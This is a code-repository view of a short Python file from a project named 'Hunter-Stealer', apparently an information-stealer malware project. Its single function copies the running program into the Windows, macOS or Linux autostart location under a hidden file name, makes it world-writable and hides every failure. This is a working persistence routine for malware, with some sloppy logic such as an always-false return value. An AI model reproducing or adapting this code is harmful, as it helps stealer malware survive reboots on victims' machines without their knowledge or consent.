Files
Hunter-Stealer/test/raw_func.py
T

28 lines
942 B
Python
Raw Normal View History

2025-12-02 13:15:42 -03:00
def _startup():
startup = False
try:
file_path = os.path.abspath(sys.argv[0])
if file_path.endswith(".exe"):
ext = "exe"
elif file_path.endswith(".py"):
ext = "py"
new_name = f".{ext}"
if sys.platform.startswith('win'):
folder = os.path.join(os.getenv('APPDATA'), 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
elif sys.platform.startswith('darwin'):
folder = os.path.join(os.path.expanduser('~'), 'Library', 'LaunchAgents')
elif sys.platform.startswith('linux'):
folder = os.path.join(os.path.expanduser('~'), '.config', 'autostart')
path_new_file = os.path.join(folder, new_name)
shutil.copy(file_path, path_new_file)
os.chmod(path_new_file, 0o777)
return startup
except:
startup = False
pass
return startup